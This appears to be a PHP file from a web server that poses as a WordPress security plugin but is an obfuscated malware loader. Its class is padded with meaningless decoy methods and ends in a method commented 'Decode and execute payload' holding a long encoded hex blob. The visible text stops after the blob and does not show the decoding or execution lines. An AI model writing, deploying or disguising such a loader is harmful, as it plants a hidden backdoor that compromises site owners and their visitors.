/home/dawaihou/rafay.dawaihouse.com/lm17.php
<?php
/* Legacy-Compatible Obfuscated Loader - ID:7553937 */
/*
Plugin Name: SecurePluginemyyDjmZ64
Description: Enhanced security module
Version: 4.0.93
*/
class LoaderRErkNq19183 {
private function dctMQyJZ20() {
if (62 > 50) {
$tmp = 'branch_a';
} else {
$tmp = 'branch_b';
}
$jv2 = unpack('L', hash('crc32', microtime(), true));
return null;
}
public function pubrTiAt39() {
// Public method 1
$jv3 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return 'valaiJU49';
}
private function kmitDfjP89() {
// Key segment 4
$buf = unpack('L', hash('crc32', microtime(), true));
$jv1 = array_reverse(explode('.', 'a.b.c.d'));
return base64_decode('dVJD');
}
private function gtvawRXI80() {
// Gate piece 2
if (31 > 50) {
$jv3 = 'branch_a';
} else {
$jv3 = 'branch_b';
}
return str_rot13('hdz3e');
}
private function kmVTDhJe91() {
// Key segment 1
$jv2 = base64_decode('ZGF0YWhBcEpwVDEy');
$jv2 = str_rot13('ebgcOjlH30');
return base64_decode('YnZO');
}
public function pubFchOD22() {
// Public method 4
$jv1 = array_reverse(explode('.', 'a.b.c.d'));
return 'valKWKQ49';
}
private function gtiFoVCs14() {
// Gate piece 3
$buf = array_reverse(explode('.', 'a.b.c.d'));
return str_rot13('jpo7');
}
public function pubrVVYv43() {
// Public method 2
// cmtaERm65
$jv3 = str_rot13('ebgqTRmR83');
return 'valJwAp25';
}
public static function init976() {
// Decode and execute payload
$hex_data = 'aCrWAKcR9dbd5d7fd24afbfefd82d8a001266436212d5ab468a10475cf55d76a6853c56594c457ff075acb39df3958d7efbe37f9d0024966ce391f8e87f1fc219d3e6e6edeac2eb2abf3e66c7596fcbcdc1677930f67e5f563edaeabeae1f3f5a7db51f1f0e3fc75363a9fffe8bc3977d7e3c9f5f7627e568e4757fecdba9e8d92e6d7bb9bb3f5b8bcca3eaf6e3fbded37c9f5ab22599e39f7f7e3b79bc54d31f97b52fe58bcae2fce17fecd78f9ed71bcf8f8fd7c5e9e7dbef61fceab8772727ffbf5fa6ef9ef9b7bfff6fc6cdb2b6eb21fe3bbabf5db8bdbdf5793333fbefff1e3fca2f9f9cfeafa72314adcdf93bb9bf3bbabcd657efde9cde4617df1aabcbf9a5fd5efcfcbdb59759d5edcffa82f6eaedebc19cffe7af361369c177eba9854e7d767b7bfc7c5f5cff17a72ffb67cf8f576e1dfe6fd6c3abe593e16175ffab7afef3ebddefddee2c3f4fefaeee3f04dfbe97a3cbfdb8cceb77793322ba7bdcdf422f97639bdbb7e3f7d70dd8fababe3df579f7e7e5e7d5b2de677ff8cce47bff2a6f839cdfdecbcbafdb758cdde7d9e1cdeff342fcb5fcb9bbb6439f9f4fbf3a27e3b993cf4dedc5f7f3fbfbbfcf75d6ffa7172f1ede7f9e8ece768fbe9f173f369bcbcdede9caf8ae6fd9d1bdc8e77af274dbdfa70f9f8eaeee37aba76b737e5b7ddfba3bbebc9e6e7e1ef470f87d7fbbfff7bf7ba98fcd8bd9e6f77afb337e5fefdedcbfbffbcbabbbe692667bbe7f3e7f7ef7edfb61af566f71f928fbfdefd2e3fbeeedd6e5e9f0ffae3edfcf1cd79f9767c7671fdeafceaf7a2ba5e5c7d389bbd7b180fe6dbc1b0b8c876af9b2ff3f1fcd745feedf779f9f0fdedabcbbf76effbc9d7f1afebc3df6f2f0fafeff67fbf7f5d7edebd76f3ddebe578b97f7f767c7ff6e3e3ababeb0fc1fdddbc1d9d6dd3f1efe6fe3affd6fbe76b53bdbe739d378b4d325afc79edddfef56abd7fbdd9bdaed3ddeb6d319927f38bd1e1fee7133ffdabdf1cae77f2f0ed71f4fbaa3f4e3e7e7b9fcf3f5f541777affa975f47d757d5f9efe6efe9d6671f3ed4f7af3ed4177f9edfeef77cdd2de9cee70fb79fc69387ece2d5bcff7e7ef9ef9b75f165d48cebddf7f546edeefb3f24bbef6ff6bf67bbdcff9ed7b3ddeb647078ddfe79edd2c3efdf5fcfebfdef4f0eaf8bc3dfbbfdebcee1ef93f9d7db87dbdfcfdfbfbb1f1fb3b7e7ee6a32f9f4eb557bfbebfc2139bfeeed7fdf5dbb7b9ecfebedb05eef5f9f4fee2fae2f7fbd5fcc3ecfab41faeaf7453f6f1eee3e2f661fcecf9adefcb1fe77917c7cb93f4f9f5f959fafddedb8b8fdf7e2f5e5fa7c3cfdf9f67c7a3b5e9e0d77af7f8fb6d96efdd55f3eff9efe3a3e1f371f9d8dae777baf3f4a76eb7b55ee7e7ff673f7fbfbe3fdf5f4ebfdf3e91f9ec7fe7adbfdeb26fdf3bcfefe5aeddf1f1cae7f7f7ffafbebaf077feec7df5ffdfe75eff0ff8b3f7ffff4fc97b97abd79b9bffbcf7b7e7d581fcbc59fdf530f0ff7f7f07affff75f7cffb7f1fd6537df8bdabc3ef39acb7a7bf3f7cfef4e5fda7df377b79fdf4fefef9d7d9cbf37efafcecf879e5cbf7152fd75f3ffdbef6e575fff87efdf2ff4faf0fdf7f581f4ff72f395e6ffe72ff0eef9bfbd93ffefd71fd1dd6dbd3ef498fdf97bcbc5e1effbf77bc9fc9717fadffbc7fb83f87fbff7c7fd3e3f797c7e799bfdc5f17febdeb1c9fc7e1fffdf1f7d52fdffff4f7fbcf73fe78bdcdcbf598eff7e1f51fd7c73f7d7ffcfc97f5f2f47b972ff7f7e9799be7fbb25e9e9e87f378dffd79bec1fac85fd6eff0cf7a787e7f70fc7ff7f27b8eebd165c7ffdf04ebeff9fdf4b8de5e3efff9f9ccfefcbfd90fcfebe7e5f93ddfefe3fa1b1ef7dfcb7e32cff7e97e9af5901e7fefcb7a7ede9f09f6cbcbfe33fbe9f9faf1f74faffdcbf51f7fdf717dc5bf7ff667bddbfddb3bdebfd9f1f72c5e9effcbf37ebe9ee171ffd52fcff3e9ef1df667fdf27b8a3cd8afcfcfb77cd9bfc7fdfcbc5e167f9eb77d7ed5cbfe383edf3a3d7e7ef272bf8efbc3c6b7fa18bff23fdffff4f9ab70ffd9f8c5f5ecb05ebae1f53fffdee3fd1d86f1d8ae9ffaf83c8fd7d33f7e3e9f6f82eb39c6cfe265bf3f3dcf63bc7bfefdeb97e769d6c7cbfa7fde8fee182f5e5edbf8edf0fb8edf77fcbcdac41717ec8fe7fb65d67b7dbcffebf079af8ef7c787fbb176c7fbf112bf9f7fef4b7cb6d76fdef7c7f366119e7fd1f33eee771fc67f87fdff7cfe1cefa73fee2f9e5f5c0f35cea363bc7ffabe46acc7e7fd7c8c2fdde3fe35ef1ff783c7e7758fcfbb7c89374ffbaf09f677107fc2f332417cb6e7cf317f39ac37bbffcb207edbe7bfcc71bdeb60bf3d3fffe6255e9bfdde3bbe5f1f7f5f1eac9fe7df67f65378de99fbf1bc9fd72faf87c8875cf8fc8ef9d0f3e765c7fd5606e7e3f37ae91df7432d7efff37e5c07ebe1f07d363f32f982d99fcd313e1ecf3713ef8ff99739efb3f07cb0f7d7231e34c1fa37f17d7bfcbee7e77bfcff4e783f9ffe7e75cc57fbc7fde48fcfbf0de2e5f6b81e1df3916e787f9feff7f1ffd3f079d4269f0bf7af39ef92e3f9f71cbfc2e76bce57bb5e1dd6df71ff2f5faecf79c4c7e131de55413c78be9f59b8fe9ff28be37965efe7e6f8bc8ff1c9e443b57abf7f7cbf0ccecfe7fb67ce87637d61ce37b31f8ef9b6b99f83e3ef3dc68363fcb0e77d785e3fdf0f1fe62bf6f9ce82f5f9fcf9269e1d9fcfeaf8bc07c7eb698eebe1b8fe4cfeb279b91e735e79ec47f379269f3e9ed71ef997390f66c7f579ccf7bb389fd3303fabb3b0fe3be683cff7cbe1fe77b05fdd717d39dcdf633c32d7d33f3e9fcdf1fac27cccd637eeb81eabe3fe0cf31d7bfde67acae3ef7b394f6cbe9504cfeb79bfb9e3faf5c7f5b80ef34d531f64c7fdd71ce3df225caf05cf83977cbbe6fded233fe81cbf8fe76f15e4f7cfd7dfc3feeba09ecc102fbbe17aacd330de3e9fef6bd43b6b7c5e1b9e4726ffc98eebdfabfd333cc6cb12f572837ad6a17ef141fd61ea517b9e9a7af5787e2fc3f561eb1fb3df37c7eb09f3059bef74c2faaf667d6c9e9f433ee5827c24889f6bd44fc7fca513ee279789fa88f1ccac0777ec8f1deb1d1b7f7c584ff07cb7fb99cf3739d6ab39f29936881fdb637fc9a9fc3431f50bea019bff1cfb23cbb03ff5bcbf4cfdb808ce6b73fed8f3bf0cea2d1bbf8be3f5e2fe3cdfdf633d9d85f9c5f3fd5904cfdb5e6f273c4f8ff5bce99799faec987f06f9f671bf7a9ccf1ef56407f589e92f1cf3d9637e6be36d85e7dda09f5306fd199b3fa1bf67e2739d86fbe3785e06f551d81f33f508ebf1281e768efb618afaaf3ae6a7ebb05f67ce07138f6ad4c315f2551fe4bb66ff9bfb757cfea6ff62e3f300f76b103e5fd7413e9a89fd65f345d3bf2d914f57c1f963d6afad7f3b613fd899f3faf83ccd7eeb233fed20bf7661ffc621ffb0f95e8d7e6c82fcdce1fed5417ff679fd98fd1ee6f741fd9207eb3f31eba383fdc77e491ff97f0feb0be78d8d8fc7f3dc9c3729f2f35e18bfa27ac7a1dfd3417ded453d68fb552eec6fda7ca546bcaad05ff2e84f37c1f73faf9f81da9fcb75d85f35fb7f70aa7ff0bc5ecdfe2b83f3cbde2fd3ff48c3fcd05e7f8378e8110f6aacdf19e27983fc81f5bd0ffae7a6fff3bc1e2bd4c7d3605e62ebb5637d17f5cbd370bfb80ee2d900fd79533f9bf302fd40b35e1dae2715f5adcd97b2f0fcb2f97625e6232e437f1dfd60bbfe5c904fd8fc9bfdcee3fc89f9a29d473441fd69f3f715eab582fddc36ccef56e8071c9f9fe3faec87f9b0edff39f4a7bceab7f58edfe7c57aac4dfe3313ebebc47ce8182f553fd39e0f1d910fd87e590ff1b013ce1bea0cf100ebd599fe4c8d7ee834982f98fccaec8fe3fe0de2dd229ce799f3b28b7eaec9bf1af4fb1cce078ff55e06f58ce99fda79a90bafcfe667ece7c8783d14e7bbdd0f9d301e39334f29837ea09997d8fbe1305fe8897ccbf6ef7be17c85f3a5685e3bc0f9e6306fee87ebf3984f3f3f7f87fcc7a31fde453fc8a1ff9ea27fe8d0afe57c6d785c3f53fc7d2df24797a27f9b86f145de5f3b5fcdc27ec831dfb2f9dc32acd7b6a67f3108f397dae4e325fab3d3603f303e9bfd62eb73f63386221e6dd91f38d6aff67cacd05f6844ffd6c69fa9aae7cd3cbc417dd7207f9d897ace211e38932f4c31dff4417f2ba84fd771be13c7f319e25b85f97b89fccfa1ff5607f5d8f3f336f5fe26980798f5fb5cefd7781e53ec0717e00f9ef7638a7c07fd547bfd269eb5f179f21c4f1d9e27f26ddb3f66bee9d01f68d04f9da21e9d06fd46db5f88eaa545d89f34d73fc4fd4fb19ff8fb7ac013a4c0077430af1e229fea86f3fb1afd225b0f9aeb5904e773a2fa57167f53f0f91ff77786f8dec17a19a2dfd3c7fde77eed62ff385c8fe9b739e03312cce31b95ef0d800760bf3cc57cb313d68b51be6ce221e7070e780a179caf8ca7e63cb7e72ffb2f7d9c7f99ea8fac38bfccd57caa44ffd605ebc9f4a3e5f705f54d1bccf79fe36982f557a27f7e7cbea6def261bee6bcec3fe571bd63d6fff3fd68301f99a9fcae17f6f3edbca446fcf19857cc10ff3dee5f15f46fe379b0433e2cf30d2ff2d3e7f71bccc36af43b4dfd86e773ece7dafe90473f6206bcc526380fed3cfa580fd61ef3389c3f2ec5e7635e5b67984f7accbf072a1e9a7e4486795a5fd5ef265f24de04f1a736fb8ff3f212f5a353f817e61383709e63e7ad65d0af0ff05bc7f94186793efa03763f57aa9fe8910f121fe371bef4b15f112f59ff58fc4d19f4072c3e8fbfb790f54ea9fabf0ef3608ffb330cfbfb7586fc2c0dfb19c7fc23ee574e157ec3e37c1b00bfd5037e2253fd82e3fe8de68b43e059539cbf3d819f34785267f0199c77556a7ee7423c887dbe0dfadfac771acc3318bf1295ff77d09fea225ef542fc8fed1fd4c8bf4ad4730e78c85acdf73b783e7d355f35e74b0ff12245fed9033e380bcf77a7f01ecff1b709e249f07bf3607fd97e4d8afeab53e7afe907f6801fee03ef64e679c7f5cdfe549103bf76fc7f8f7c16fd3dbbbe1b9c4735e69972be954abc4e1ef6b3ccf945fce210fb2fc53c02f937e7e9ac77ecbc7716d4df017e328c4ff63ce88af3ce9e97bd103fe0785e73de423c6c17fd58e68b1df5fb302fb2e77b0ffd8e0ece53e09bdd10eb9d7856e23306385f9d783e169fef44bfc4e4872e1378141b4fb2307e38d433ae13e241ed7cb40af0c6cff7c3019fd005be21457f90f8e72ecebb1eea6bce8b9d9a2718bc0cfbcdc817ec795ca15feec5f593af60e72f89ba5e17e2adec79ef80f7e6bc54d62343ccaf87889fddff537c21fe6611e257880f30fd211fe295ec7e29d12fa8d02f9d028f3405bea2015ec3e33c6cd00f34f108f878132f52ac6fa7f015111f86e717f17fc7f59a21de0f114f9ceaaf98fabf13e2055caaf063c7798a8dd7e17e0ee601c4eb2c149ea512f8dba8fe48d1cfe9227f30f8e919faeb4d808f08f08ac0d3b27e33f3c05e781edaf3738a7a708a7e6658df07f374f42f4c7e92e1fac95f71c01775307f1f62bf703f0ff07b8967407c3cf6f36d7fc6e4eba9f87cd37f89fa319a4f768c4719ea950ef03bc0ebd54ecc23a2f9f232473f630d7cbeb8dfe4070478a23c8c67ec979afe12cfab3ee6c31efd10ce674c7fde05fd4c9bef605e68f18e3dc4d74e98dfb0ffeed8cff372becefc6311f42b0d5ef588170cf05d6bb51f6bf09fc8f72903be04f90801de7681fefb229c1f98fa6228fb01219ed2f09d1cf1a61de0fbd19facc1a7b4f1681af44f2d7f097832b3de6a27f19339f0d038cf8ef787f3fa28bf1fa0bfd703fe9af815ec4f5b8f93bf91e07c52fc20bb1e1ce61789e207f27cebe0f3fb02efb22dc8476b4fe1676cff7ca3fa419cffa7225e6d23fecc3ae63306f88036c453eb794629f04db6fef5389f4bc517c5796efb4b33859fee824f9cc979bee4bf95e053b900eff3fc7e86f8d1c5fe07ffb546fe68f1ff4ebcb6f86927f289ba83f9638679c800e76b0a3c2ef3cf21e6b3e07b44f369ce5f7a215ec3015f67fb6b0ef859350fb578f74af0316dbf6383f3bec4fca606ff6786fe4fa9f0fd9ce70c42bc4a4d7e9203de25137c856d84b75a60bec47909f862061fea81f7cec0e7e33cdd297c20e74bab75b8dfcc3c290dfbfd119e41d53fdb42f6e73dfa37b5e08b113fe53ccedb21ee0ffa79b61fa2f0b0fafa4c3fb783fcac27f6938d67ddb01eae3be04775c2f996cdbf3cf0a30df0cc35f8c16570dedafabe08f9d809e63306bf62f9610df0251ef8c65ae0e5ed7ee2f39829bd01e253259fbc08e3e596f37755dfc57816f2bda6013f92ebc9f67b0ac14733f5b1cd07b1df2c1eab41fcaa057ec57e3eeb21f6632b9c3f15f04b15f403bcb8df767e9be07a59cf737d37983fd7a84736c0c796827f1b7dbf477e4b3c6e17f7b727fae75bf60b4d3f947c1bec57dbdf2d03bc82bdff05f3b305f8d66d3c2f0bf243d14f0ffa57213ed7ce7b914f46fc0fe2bf8692bf1d9e77bcff5b3e5f83a7eb617f0dc16f1faa7e2bfa4f168f8bfbeb8047b1f3fb0af8c224c8ff82f9f422d49f5802ff64eaad0cfb9ff818a7f089a6beee231feb87fc5a9b8f26e037527f80f88152e13b3ce23bf19e5ee0dd6c7ee7433c83ad4f37c037389c8715f2e9a9c00b1ee72bc1fc691de6efe417a29f67f1ef299e07fa99c7fb6ff90606cf877e7d2dfb7f913eca027a306d8817403d1cf14d89f736f33ee8abb80c78d954f0cd123d7f23be6f8af3d763bd95e8ef26c043909fe3d0ff0ef9dd015f2757f31fe2876bd44f09f052126fd9c7f9c7f9e400fdfa2ef004039cd7e45b605e68ef7f0dbe5089fb5b013f56a29ef2c13c38981fe07a0dff017a0f165fe7d09fa63e02f5033cf485bce0d3d8fd3243feeed18f7341fd6af96d98775a7e75067d2a27f48decbc1df8fc1af9410d7eb8cdff2ac52fed083ea9c56f48bec1aa5578858d981f3be04d2c5fb7c6ef2951ffcc707eaa79b99d3f7ae035bc98a7108f10f513d05f77e0eb47f902f836369f6c8007211f4cf16f227d1af657d8cff14a6fc3e4175ed59b4bac37b35efbc8b7253e7825f92f3ed88f811e500b7cf71a7cd4909f64f7ab437f907c4ce87f705e6bfbc5a5d28f01bfcfe6dbe4a3d6c0bbd5e0b3548a9f0a3e24e383d5ef6ac4f966f30d0f7c7498af06e7e722c4a3af703e939f68e22ff584c02fb5e79143ff89fbc7617e3f53f327e4530efd418b274a70be729eeb4ef3e9f3781e6ff38b08df76dcbf43e0f952f4a3bbc0df76151ebb08fb47363fe1f765f23c877e16fa35b65e48810ff022bed8fcdc85f30a47fef100f884a1e0abdbe7eb84be9dedf778f45f7d98dfba4cf0656c3dd3c1f5438f4af25513e28f8c1e531aea11b80cf81a2ff1d7b89fd077b2fdd8a1c0f7d87c15fd76cbf76f703e7b559f39d51f33e729f5ef32a5e718e979b2dfd0c6f335e211594f5b3c14f934269ea6a7fbbfd47f9b2a7ce010f33927f958e1fb117ec0acaf41d8af275fbc86de909d773aec971af8c11af38906fd2f877aba41bde8f1ba81bec80ce7e714782ee247a95f5aab7aa20fbdc76e98cf5bfe05f1c85e9c9fc4439fd0cf81de0afb97cb1c7804910fc6f38d04f8ff0dfac3e49f9442cfd0a1bf5703bf6be39bc3fc4ed68b99e0575afc4e17eb19cfdff2e9a807d3607e579eea97d9fa04f1cde24338df2d515f79f04913c5a7cd90bf7565bccf637c5da017b208e3afb91fd023b6fd9f4d30ffb7f859f2bb562df25de04197e03b14b9ca8766e84f910f550b7cd6b17f62f1a0c5027c5cc4eb484fab45bc5cc7fa0b31bfbb52fac91de48f1ef39154ea3fb721bfdac40727e68f76bf13af9aa9f95b8497277f14f305537f7594de91a9378652ff72a1f0558db85f35e65fae13f63becf3d928be5e1af6eb1ce72369583f457836d6878caf0efd68e8af110f513b393f6c310f5b2b7d8c12fd0af2516af4e34be8d53a817f73d0d7b67f5f09bc8cd5d768827952a037b108fb59d01bb6f88814fd678597b77840aff4d6223e23f40422bd3b8147b0f8d8d53ace57633cffc97a9c7866f263a91f9290ef42fef3328c4f164fd643fed801fe1ffa91517ce8017f35805e22f5d086386f192f3cfadfd47b4881a7cbb09f064a1fd2cc0333e05fa8374bbd1be2d7ba825f16cd778b1c78c435f8b6b9d26bf1b81ee2c7a8ef403e73a3f4ef3b4adf7129fbc71ecfcf23df4bd4f9e5a1479d424fac2bf555423ea4991ff37e583c7685ebaf047ed5e297423c22fd0662fd73f61f9b93f87cc43bf683a8af64f5e4a967d8417d45fd5cfa4df4b17fc92f86fe52942ff4d1eff5988774a55e6fabd633f1259b93f10ffd0d7b3ef44ef3e1e9f75063dee0943e02f0a1365efb537861c69b882fa9f594c27c308e6709f085d4a7aa82781beb73cdc43c24caa7382fe4f5a97c3ba1be4dd1627ed5fe27bed8d6b3d4ff271ea423f4e7883788f60febe515e3670b7c5d7b92af34c03ca2a3f49f56d44f58c7f8ba589fa2127c1ea7e69136bfa7be35f008568f4ff6b78798c7417fd2f26d12a1cf6cf55c6601be38c6039778fe1b9c47e44379ccb71cfae3b5d26bf3f097209e95f300077c7426e6c9b1de651ef33f027e07f54631bf5be68827423f2cc0bfade1ef72dc7fe807d4d47bc8a45ecd223e0f623c209f1ffd633cfad14d30cf8df17b0ef3c25ae0bf595fd8fe0ff90b09f06e0efd7faffa350efd62e031e93763e35b837cc743cf65a6f40f890f1fa8feb1a98f06c86f3ce2770ffd87f4147fc8ea63821f1ee9c7acd60a6f23f3b11ee675ddd3fe3a25fc2f2aa5d79f025f94225f617ec5fa2413fe3909f04eb6fe75c00f654a9fdde41fe8e7725e10f92b38c1af35f94774be0c845e7f12e99dac957e4b89f906ebb90af8a5067cbba9d09bb7fda912f574097c8a03bfb409f4c482fa52eab9d5a7f417a83f4f3ea29d1776049ed7f68bbd58ff76de00bc5b84c7f2eafe6a7d4bea816f302fab8007f1c8f738bf6f90ff56c8f7bcd287d0f102fcab25f90d8817a83fad9f1cf2697b9e4e8157f798ffd4c85fbc88aff6fca61f9d07bea444fe42fde929f2b51a7c1a8ffdc6789e083f1e1b8f36f02ba0df1bf576bcd0dbb67a7425f0b15ecd73a8874b3e55177c3efa1d74a04737907a14e4fb2e547f60867c80faf95ee17b589ff651ffc2bfc3515f11f812e9bf24fd78027dcf16fc21e99f35537a74c473415fc5d69f55f0fb033ef63ae6b7c4fa8de1fe0ffa8dc02b9b7c9afdd11ef4da3ce62143a1cfc8fe9cc50366e06bd3bf00fe57117fb3733ade79f08b3de69109e24ba3f8993d81678ef191d44b5f287f05e6574a2f89faa636be24ca2f47ce3f8b3cf693317e39b6ff21f9c29cff427f5df20be3fa6d23f4eaacde9adadf911fc9007aabd4271c409f6808fc1eeb09f28d1dce73e84946fe57ec27d02f63087c4017fdf7bec8cf2dbea4abcea7621de331023e25f9842df0bf6b85e7a0ffd654e8f3507fd1e6dbc40757e0df7b556f38cc6bbcec3fadc15fc2fcd7d47399d42f0bfb63f1fd0ef163d1bc6629fba115e6671be49f25f63bf59037d0632b951f0dfc04ecfdf1c29fc93e0feabb9662de6ff3c7047c68ead138f4cf36e877bb203f0cf0728cd7e0a3d0ff05f89784e75be49f467d6dc1f70cf4a45bf0e316f053582bbe37fd2b6be0871df86752bfa90f7ef820d4bbe0feb0fa371b5c4fadf44952c1cfe47cc1d6ab4a5f39f6375aa39f26f5bba9c7cefe00f5c94ae47b25f849d493e33c8ffa860e7cc652f9dd502f98f3b081f0d78af1cf21bf91fd9ed89f81fd0bee37e21316b1de5bc0276da1e7db2abdb129cecf0af99813f573f4bc9dd0e3b6fd480fbd809e98bff17e9bf5ec32c50fa59f40a417b3567e1e95d20b774a6fa4c8957f4ca5f4599dc07f6c8127b7bf3f1578f1e8f7ad5ac54f277f6826f4d0edf9473c482dfcae23fdd554e09f12e83b2511df791de73fb6ff0abd56f2ad0cbeddc69f12fda04af4572dfed5a31f26fdb23be2ef6d7e9f89f924d78bcd17a0076bf10f9cb76f843e90ad474b953fb3dea0bee200f901f4051cf564a9c78bfbe3bce29b150bcc1b7295cf6cd00f6cc00fa37e4e897e25f9a9e437cf943f08fd04ffc35f8d78ef19f09b0dea43a7f2a7fea9fd427e44a08fd5c6fa07b6de5e85fa22765e0ffc44a477d003fe3915f39104f5943d7fb3b05f453d343b2f6b54bd9d61be3d54f39b15f2b3628dfe740b3f8736d66b89f160e41f929f9f20bf25be66a6d66be794deadbddfd4175fc1afd1dcbf21e68ba9ca9797d08783ff848d079c7f76959e8d9e2fd4a88788379b293fde4cce3f30ff5b721e48bd40facfb7d0cb0cfd3412fafd16d423007e977a73cb30bf61bcded21f6f19e205acde3ef347ea2ff6314ff458af5e9d27465f9a7e0de477a5f87bd437f44774d073b6f97badf856f04b8cf4e6a15f5677849ebd3defbcd26ba2be5f11fa879ff02bf3413cb0f92cf06709fc2ab97e6cbf9a7e4c1efed5d9e9f547fe93c33ca3c17e233edc81af5e8afc9ffddd08df8c7e7a843fe3fcd149fe690bffc945acef1bebc7799c8f0a2f6cf90609e6471ba5f7c3cf1b627d32df7342cfc3aef721e637d0e37299e01359be8b43fdd4031e1ef8b0237e2cb83fd437e0fcb03da9ef99a2ff91097c83adcfbbc0933be0b37bf02371d2ef668dfa4be06f83feb6f4976b801fa895fe4f26e2a37d3e1da1a712f9dd514f8b7edbecbfad243f88f3a604faf18de2c7a7d0f373cabfdad4bb1efde50c7a56f4c7ed2abfcdc80f65ade6afe5697eacf0bf0cf8e98c376ba5ef579fc2876dc9e7845f9dd51bf0c08753dfdb035f457c9d9378961c7c4081578efbb935e6eb33c15f76c81f6bea7ff5c07748316f21dea383f934f3650f3fdd41d83fb6f54483fd25e7171e7e00d2df79b98ef589037dc456ed2fea5956d0fb99627e40bf08fa1b274abf7188f910fa6376be3745bfbc12fe028efabe5de8a769ffd556e919d4ca0f8ef1c70b3e2ef79b9d0f701e06bf10dbff94fb3b957e610bc5efab307fae307f48906f6cd00ff5a8772ac197b7f904f97b8de0af467e4df02fac1df48bbca89f6dbe3c843e14f42badfe5583febed29bb7f940adf4ee3cf48ffbe8f764d06772e017026f1cd58b7de0bbbca85723ff3bce2f89372ec86fa43fd35ae197bcf273a27f84537ea9d4532864bcaad00f73384f37ea7c24debe0bbe5257e1fb0c5e8c7ec3f43fcf54ff867c3d8377c964fc5aa8f9f04ccc4fec7cb646ffb1069fd0035fbe019e847cf41a7e540e7eec1e7e49a5d253e67ae98b7976a2e7a51ee7c506fae615fa91b5d07f88f434a4de4411ee7fbb9ebac007102faefa1936def4957ec60a7aa5265fc07963f1a05ef9dd66c0d33b51efd0afc1f2c753854f2f1631ff219eef55c2bf43eafbdbf9e450f019b6917e0ff13d8b586f2bce8fa6a86fa6ca5f85fad8feb4df04fb3f0eebadc2faaf917f3be5efe025de5fd663b5c05369bd5ace6f227d12e0650af44b97adf2276b941f5effb43e3beb4de26d95bf52a487e6c0afec2bfc3bfcd2ad1f7b57fabdae155fdc013fe595bf93c73c14f5819d47c878ccfe6b4fe063ed7cce0bfc88ad87ba529f01feb1513f213f759ed52abe5a7e5417e7472aeeafecd79d886f4385672f882fc7f3a55ee352cc4f82788cfebca9979ca897c8df4d22ff61f049e8af4a7f27c3bf7421df92fad575762a9f667d15ebd1ccd04f2b859ebded8755881fa5aa97bbc0cbd2ffa52bf080f493dc16523f92f1957e4ed433ae957f0cfc9cedf9bd517e12f44f71a8e7985f76047fc79e971d8937a0df2ffb1fe00f538f62093f4cf24b590fd31f06f3a584fe2c663ee3a1378e7865d7f314fd9206fab21bdc7fa9a79542bfdc9f3affadbe84f22b08faf5c45bb7c073b5b8df79acbf63f946f4738cf457e00f1de1dbc087a1fec62aec0f2451bd1ae259223f8948af248ffb93c1fc2f877f12f217cd2fa3ff5705fc8ad25b627d1fe12bfb382fc9ef74c20fe7c43cc28bfccbea4b50df6683fe70a5f2c7819837d87ca127f9918b188f10f7176be01b3df8d94efddea1ba3f2bf0879739f8438b101f88f9bde593a7a7f4ad03fe7fabe251027d43aff42587420f3281fe40cc1f08e333f9f4b61e1d4abd12e12f15f4f7c85f663e27f9070deaef8dd2d31d8afc8d7e6d09f229cb2f4ec5f56c23bfc616fdb73cc6eb07e72feebf99073a393f15f88000df4e3cc85ae5dfe43b4f05fecae2713cf4a6bdc0ffda7ea317fc481bbf37eafec3bf967c75a7fdd688f7ce959e7989ebad543c805eac033e36d29fcf427cbd8d1fd437a9d479d055f981c9f7860aaf69fa053de16f69e7d5299e3ff58fa9d707fca0d63329a49e4e29fc94237c30f477a2fd027f09ab3f3155e74357e623f0b3857e37f537e89f6afbf15eea2f4b7f30c61f9e3735f8a35ef91d67427f8d7ad476de97857865bb5fa45fb147fda59f5f0ebca4d07389f17189986745fac9c4872b3f7bdb2ff0d0cfe2fa867e8a9d2f915f96203f603c6bb0de36d0b3f798ef57d07f4d504fb3beac851f67c42f4c91df217f8fe61d3df93eea1f137fe8efd707ffb423e7a9789ef4638bfcd178de867eae564fde093d5edb4fe4f9d5157ea9b6feea087d60ea4f46faf7f07f8bf58ea87f057c4274bee13c29a81fb1069e620dbd78f667a10f4ebcec3247fe9b237f59605e8df9cb3257feebb353fc668bb7803e24e7a1c4c739e8d9dbfe91577a1143acef3ef02619f443e9bf877e2afdb2223df0a1f243273e6099c7f7cfc6df02fa06e40773fe5cb4ca5f5dceab87eafc55783fe21becfa2bc4f504f5e41afd07f0e3d9cf5cadd5f36f847f52edff2ff868e02d22fe22fd70960bf8bfb4a15e32f979ca8f94788f001f4dfe03f064915e0ffdc24fe7f799e46f014f87fad3e60bc3537ae316efb70cf12576fed253fc63fa672d178acf580bbf458bdfe2bc9cfece0df8b71eeb83fda95ae927031f67e35bc8170ee6c1d4bb17fcd020ff0bf1a4162f360cf9aee4ffda7a7f037cd254f9150dc3fe3ef176b63fe5957e88f2d3b5bf4fe90f47fd2ae07798ff5b7f97a1983fd9f593c18fc79dc20706fa886ba53753223e578a0f45bd4f7e3ff1bbc40b7af0af39bf4f45fd64ef97177abc5be55f12e89911bf017cde92fd1fe9275461ffce4ef2b196a7fd33b89e07d0cbf0383fb3b09f6deb7baffc0986982f67e08f0c05de225e9f8b98bf60f1ff2bd4af91df83c4db4db19f1ad5efa03e24f54389af45bc8cf4b3c0f7aea1ff6dfd4ba6c88fbcf2a31c621e3a507cf6d55ae1936b85d718025fe4c0ff907a5245aef8578cff4ee9097b310f20dfc0e673d4534c857f77a4afc67a85faf2663e23f998e43fc00f26eac7687dba5af987f5c2fb6ff3b38dea277784be845daf03f0659cc2f3d21fc7acd781d423fe1ffd0bc307ec406f92fd0ce2fffbc28f31f2478fe6cdb9cadfa6027f19d5833c0f3ae0df65c2ef730b7d523bff4e951f10fdd4a187bb45bd487dc3c85f6629fdeb3dfa5f1bd4b70df0860df8975ee88fd5f4dbeac31f1c78478b572fb1fe4be02b88cf29519f78e0e3982fd32fa082de45a9f8c7f4d3a0beebf0947e65a0ef9e87f9e76aadf05533d437a11e5ce037189e2709fdcfa8ff04bd13f6ff135d9f37e279525fc8a5aa9e5c325f0bd753346f5f51af9a7a830be527b901be7e16f483384fa0bfba3dbfd11fb3f844896f057edfce738857cf54fe83fea9c503d11f3a457e44bd22d63b3df02d3a823fcd7ebf8d771efddb2ef4c7a89fd841fd45fc95177e4e361fc0fccc0da5de548bfa0178a6a89f27f566ca60fd05fe6d8b586f31f6c7a6be6b8dfba3f800563fa3463cf1a23eb2fd4aa7f47353a51fbdcc81475c28fdb612781ba917e7947e5e912b3d08d6cb35f00e15e65b33e587db473e4a7c0ff52830afa01eafedff4e316fa0de55a8c71de383389f77f0d7a8b11e13d42f4ee8e5dbfc84fe76f47370e0e79